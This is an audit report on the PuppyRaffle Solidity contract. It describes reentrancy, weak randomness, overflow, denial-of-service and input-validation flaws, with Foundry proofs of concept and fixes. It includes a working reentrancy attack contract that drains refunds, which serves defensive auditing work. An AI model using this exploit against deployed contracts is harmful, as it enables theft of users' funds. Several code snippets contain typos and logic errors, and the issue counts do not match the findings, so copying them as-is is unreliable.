title	author	date
Puppy Raffle Audit Report	Franklyn Ezeugonna	Febuary 16, 2024

Puppy Raffle Audit Report

Prepared by: Franklyn Ezeugonna Lead Auditors:

- Franklyn Ezeugonna

Assisting Auditors:

- None

Table of contents

▶ Details

See table

About me

I'm passionate about uncovering vulnerabilities in systems and smart contract , always curious and eager to learn . Most importantly, I love making new friends . Feel free to reach out.

Disclaimer

I Franklyn Ezeugonna makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

Audit Details

The findings described in this document correspond the following commit hash:

```
22bbbb2c47f3f2b78c1b134590baf41383fd354f
```

Scope

```
./src/
-- PuppyRaffle.sol
```

Protocol Summary

Puppy Rafle is a protocol dedicated to raffling off puppy NFTs with variying rarities. A portion of entrance fees go to the winner, and a fee is taken by another address decided by the protocol owner.

Roles

- Owner: The only one who can change the `feeAddress`, denominated by the `_owner` variable.
- Fee User: The user who takes a cut of raffle entrance fees. Denominated by the `feeAddress` variable.
- Raffle Entrant: Anyone who enters the raffle. Denominated by being in the `players` array.

Executive Summary

Issues found

Severity	Number of issues found
High	4
Medium	3
Low	0
Info	8
Total	15

Findings

High

[H-1] Reentrancy Attack in `PuppyRaffle::refund` allows entrant to drain raffle balance.

Description: The `PuppyRaffle::refund` function does not follow CEI (Checks, Effects, Interactions) and as a result, enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function , we first make an external call to the `msg.sender` address and only then after making that external call do we update the `PuppyRaffle::players` array.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player
can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already
refunded, or is not active");

@->>>   payable(msg.sender).sendValue(entranceFee);
@->>>   players[playerIndex] = address(0);

        emit RaffleRefunded(playerAddress);
    }
```

A player who has entered the raffle could have a `fallback`/`receive` function that calls the `PuppyRaffle::refund` function again and claim another reward. They could continue the cycle until the contract balance is drained.

Impact: All fees paid by raffle entrants could be stolen by the malicious participant.

Proof of Concept: create this malicious contract

▶ Contract

```
// MaliciousContract.sol
pragma solidity ^0.7.6;

import {PuppyRaffle} from "src/PuppyRaffle.sol"; // Ensure this is the
correct import path

contract MaliciousContract {
    PuppyRaffle public puppyRaffle;
    uint256 public playerIndex;
    address[] players;

    constructor(PuppyRaffle _puppyRaffle, uint256 _playerIndex) {
        puppyRaffle = _puppyRaffle;
        playerIndex = _playerIndex;
    }

    // Function to enter the raffle
    function enterRaffle() public payable {

        players[0] = address(this);
        puppyRaffle.enterRaffle{value: msg.value}(players);
    }

    // Function to attack the refund mechanism
    function attack() public {
        // This function will be called to trigger the reentrancy attack
        puppyRaffle.refund(playerIndex);
    }

    // Fallback function to handle reentrancy
    receive() external payable {
        if (address(puppyRaffle).balance >= 1 ether) {
            puppyRaffle.refund(playerIndex);
        }
    }
}
```

Add the following code to `PuppyRaffleTest.t.sol` test file .

▶ Code

```


function testReentrancyAttack() public {

    // Deploy the malicious contract
    malicious = new MaliciousContract(puppyRaffle, 0); // Use index 0 for
refund

    // Transfer some ether to the malicious contract
    vm.deal(address(malicious), 1 ether);
    address[] memory players = new address[](1);
    players[0] = address(malicious); // Make this contract an eligible
playe

   // Enter the raffle with the player address
    puppyRaffle.enterRaffle{value: entranceFee}(players);


    // Simulate the attack
    vm.prank(address(malicious));
    malicious.attack();

    // Assert that the attack drained more funds than allowed
    assertGt(address(malicious).balance, 1 ether, "Reentrancy attack
failed to drain funds");
}
```

Recommended Mitigation: To prevent this , we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally, we should move the event emission up as well.

```

     function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player
can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already
refunded, or is not active");
+       players[playerIndex] = address(0);
+       emit RaffleRefunded(playerAddress);
```

```
        payable(msg.sender).sendValue(entranceFee);
-       players[playerIndex] = address(0);
-       emit RaffleRefunded(playerAddress);
    }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and predict the winning puppy

Description: Hashing `msg.sender`, `block.timestamp`, and `block.difficulty` together creates a predictable final number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Note: This additionally means users could front-run this function and call `refund` if they see they are not the winner.

Impact: Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffles.

Proof of Concept:

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. See the Solidity blog on prevradao. `block.difficulty` was recently replaced with prevrandao.
2. User can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner !
3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain values as a randomness seed is a well-documented attack vector in the blockchain space.

Recommended Mitigation: Consider using a crptographically provable random number generator such as chainlink VRF.

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In solidity version prior to `0.8.0` integers were subject to integer overflows.

```
uint64 myVar = type(uint64).max ;
//18446744073709551615
myVar = myVar + 1 ;
// myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feedAddress` to collect later in `PuppyRaffle::withdrawFees` , However , if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in contract.

Proof of Concept:

1. We conclude a raffle of 4 players

2. We then have 89 players enter a new raffle, and conclude the raffle
3. `totalFees` will be :

```
totalFees = totalFees + uint64(fee);
// aka
totalFees = 800000000000000000 + 17800000000000000000
// and this will overflow
totalFees = 153255926290448384
```

4. you will not be able to withdraw , due to the line in `PuppyRaffle::withdrawalFees`

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle: There
are currently players active!");
```

Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not the intended design of the protocol. At some point , there will be too much `balance` in the contract that the above `require` will be impossible to hit.

▶ Proof of Code should be written

Recommended Mitigation:

1. Use a newer version of solidity, and a `uint256` instead of `uint64` for `PuppyRaffle::totalFees`

2. You could also use the `safeMath` library of Openzepplin for version 0.7.6 of solidity, however you would still have a hard time with the `uint64` type if too many fees are collected.

3. Remove the balance check from `PuppyRaffle::withdrawFees`

```
-     require(address(this).balance == uint256(totalFees), "PuppyRaffle:
There are currently players active!");
```

There are more attack vectors with that final require, so we recommend removing it regardless.

[M-1] TITLE Looping through players array to check for duplicate in `PuppyRaffle::enterRaffle` is a potential denial of service (Dos) attack , incrementing gas cost for future entrants

Description: The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicate , However , the longer the `PuppyRaffle::enterRaffle` array is , the more checks a new player will have to make. This means the gas costs for players who enter right when the raffle starts will be dramatically lower than those who enter later. Every additional address in the `players` array , is an additional cost the loop will have to make

```
//@Audit DOS Attack
@>          for (uint256 i = 0; i < players.length - 1; i++) {
            for (uint256 j = i + 1; j < players.length; j++) {
                require(players[i] != players[j], "PuppyRaffle: Duplicate
player");
            }
        }
```

Impact: The gas costs for raffle entrants will greatly increase as more players enter the raffle . Discouraging later users from entering, and causing a rush at the start of a raffle in other to be one of the first entrants in the queue.

An attacker might make the `PuppyRaffle::players` array so big , that no one else enters, guaranteeing themselves the win.

Proof of Concept:

If we have 2 sets of 100 players enter, the gas cost will be as such: -1st 100 players: ~6252128 -2nd 100 players: ~18068218

This more than 3x more expensive for the second 100 players.

▶ PoC

Place the following test into `PuppyRaffle.t.sol` .

```


    function test_DOS_attack() public {

        //for first 100 players
        uint256 playerNum = 100;
        address[] memory players = new address[](playerNum);
        for( uint256 i = 0  ; i < playerNum; i++){
            players[i] = address(i);
        }

        //see how much gas it cost
        uint256 gasStartA = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players.length}
(players);
        uint256 gasUsedByFirstHundred = gasStartA - gasleft();
        console.log("Gas Used by first 100 people : %s",
gasUsedByFirstHundred);

        // for second 100 players
        address[] memory players2 = new address[](playerNum);
        for( uint256 i = 0  ; i < playerNum; i++){
            players2[i] = address(i + playerNum);
        }

        //see how much gas it cost
        uint256 gasStartB = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players2.length}
(players2);
        uint256 gasUsedBySecondHundred = gasStartB - gasleft();
        console.log("Gas Used by second 100 people : %s",
gasUsedBySecondHundred );


        assert(gasUsedByFirstHundred < gasUsedBySecondHundred);
    }
```

Recommended Mitigation: There are a few recommendations.

1. Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check doesn't prevent the same person from entering multiple time , only the same wallet address.
2. Consider using a mapping to check for duplicates. This would allow constant time lookup of wether a user has already entered.

```


+    mapping(address => uint256) public addressToRaffleId
+    uint26 public raffleId = 0;
     .
     .
     .
      function enterRaffle(address[] memory newPlayers) public payable {
        require(msg.value == entranceFee * newPlayers.length,
"PuppyRaffle: Must send enough to enter raffle");
        for (uint256 i = 0; i < newPlayers.length; i++) {
            players.push(newPlayers[i]);
+           addressToRaffled[newPlayers[i]]= raffleId;
        }

-       //check for duplicates
+       //check for duplicates only from the new players
+       for (uint256 i = 0; i < players.length - 1; i++) {
+           require(addressToRaffled[newPlayers[i]] != raffleId,
"PuppyRaffle: Duplicate player);
+       }
-       for (uint256 i = 0; i < players.length - 1; i++) {
-            for (uint256 j = i + 1; j < players.length; j++) {
-                require(players[i] != players[j], "PuppyRaffle: Duplicate
player");
-            }
-       }
-     }
.
.
.       function selectWinner() external {
+       raffleId = raffleId + 1
        require(block.timestamp >= raffleStartTime + raffleDuration,
"PuppyRaffle: Raffle not over");
```

```

```

Alternatively , you can use [OpenZeppelin's `EnumerableSet` libary](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/structs/EnumerableSet.sol).

[M-1] No Check for invalid address, this could result to a loss of fund.

Description: The `PuppyRaffle::enterRaffle` function has no checks for invalid address like zero addresses, if such address is allowed to participate in the raffle , and their index is chosen , this will result in a loss fund.

```
       function enterRaffle(address[] memory newPlayers) public payable {
@>      //@Audit:: There should be a check here
        require(msg.value == entranceFee * newPlayers.length,
"PuppyRaffle: Must send enough to enter raffle");
        for (uint256 i = 0; i < newPlayers.length; i++) {
            players.push(newPlayers[i]);
        }

        // Check for duplicates
        for (uint256 i = 0; i < players.length - 1; i++) {
            for (uint256 j = i + 1; j < players.length; j++) {
                require(players[i] != players[j], "PuppyRaffle: Duplicate
player");
            }
        }
        emit RaffleEnter(newPlayers);
    }
```

Impact: Money could be sent to this invalid address and this will result in a loss of money.

Proof of Concept: Add the following code to `PuppyRaffleTest.t.sol` test file

▶ Code

```
    function testCanEnterWithInvalidAddress() public {
        address player_with_invalid_address = address(0);
        address[] memory players = new address[](3);
        players[0] = player_with_invalid_address;
        players[1] = playerOne;
        players[2] = playerTwo;
        puppyRaffle.enterRaffle{value: entranceFee * 3}(players);
        assertEq(puppyRaffle.players(0), player_with_invalid_address);
        assertEq(puppyRaffle.players(1), playerOne);
        assertEq(puppyRaffle.players(2), playerTwo);
    }
```

Recommended Mitigation: Add a check condition to the `PuppyRaffle::enterRaffle` function.

```
 function enterRaffle(address[] memory newPlayers) public payable {
        uint256 index ;
        if(newPlayer[index] == address(0)){
            revert PuppyRaffle__invalidAddress();
        }
        require(msg.value == entranceFee * newPlayers.length,
"PuppyRaffle: Must send enough to enter raffle");
        for (uint256 i = 0; i < newPlayers.length; i++) {
            players.push(newPlayers[i]);
            index++;
        }

        // Check for duplicates
        for (uint256 i = 0; i < players.length - 1; i++) {
            for (uint256 j = i + 1; j < players.length; j++) {
                require(players[i] != players[j], "PuppyRaffle: Duplicate
player");
            }
        }
        emit RaffleEnter(newPlayers);
    }
```

LOW

[L-1] `PuppyRaffle::getActiveIndex` returns 0 for non-existent players and for players at index 0 , causing a player at index 0 , to think they have not enterd the raffle.

Description: If a player is in the `PuppyRaffle::players` array at index 0, this will return 0 , but according to the natspec, it will also return 0 if the player is not in the array.

```
    function getActivePlayerIndex(address player) external view returns
(uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
        return 0;
    }
```

Impact: A player at index 0 may incorrectly think they have not entered the raffle and attempt to enter the raffle again, thereby wasting gas.

Proof of Concept:

1. User enters the raffle , they are the first entrant
2. `PuppyRaffle::getActivePlayerIndex` returns 0
3. User thinks they have not entered correctly due to the function documentation.T

Recommended Mitigation: The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but a better solution might be to return an `int256` where the function returns -1 if the player is not active.

[L-2] No defined condition for refund, it means anyone can ask for refund at anytime during the raffle contest.

Description: The `PuppyRaffle::refund` function has no defined conditon to check for active players

```
    function refund(uint256 playerIndex) public {
@>      //@Audit:: check for active player here
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player
can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already
refunded, or is not active");
    }
```

Impact: An invactive player could ask for refund

Proof of Concept:

Recommended Mitigation: Add a check condition to the `PuppyRaffle::refund` function, by calling the function below.

```
_isActivePlayer()
```

GAS

[G-1]: Unchanged state variable should be declared constant or

Reading from storage variable is much more expensive than reading from a constant or immutable variable

Instances:

- `PuppyRaffle::raffleDuration` should be `immutable`
- `PuppyRaffle::commonImageUri` should be `constant`
- `PuppyRaffle::rareImageUri` should be `constant`
- `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2]: Storage variable in a loop should be cached

Everytime you call `players.length` you read from storage , as opposed to memory which is more gas efficient.

```diff
+      uint256 playerLength = players.length;
-      for (uint256 i = 0; i < players.length - 1; i++) {
+      for (uint256 i = 0; i < playerLength  - 1; i++) {
-            for (uint256 j = i + 1; j < players.length; j++) {
+            for (uint256 j = i + 1; j < playerLength; j++) {
                 require(players[i] != players[j], "PuppyRaffle: Duplicate
player");
            }
        }
```

[I-1]: Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

▶ I Found Instances

- Found in `PuppyRaffle.sol` [Line: 2]

  ```
  pragma solidity ^0.7.6;
  ```

[I-2]: Using an outdated version of solidity is not recommeded.

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation Deploy with a recent version of Solidity `(at least 0.8.0)` with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Pleease see slither documentation for more information

[I-3]: Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

▶ 3 Found Instances

- Found in `PuppyRaffle.sol` [Line: 69]

  ```
          feeAddress = _feeAddress;
  ```

- Found in `PuppyRaffle.sol` [Line: 212]

  ```
          feeAddress = newFeeAddress;
  ```

[I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice

It's best to keep code clean and follow CEI (Checks , Effect , Interactions)

```
-        (bool success,) = winner.call{value: prizePool}("");
-        require(success, "PuppyRaffle: Failed to send prize pool to 
winner");
         _safeMint(winner, tokenId);
+        (bool success,) = winner.call{value: prizePool}("");
+        require(success, "PuppyRaffle: Failed to send prize pool to 
winner");
```

[1-5] Use of "magic" numbers is discouraged

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name.

Examples:

```
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
```

```
uint256 public constant PRIZE_POOL_PERCENTAGE = 80 ;
uint256 public constant FEE_PERCENTAGE = 20 ;
uint256 public constant POOL_PRECISION = 100 ;
```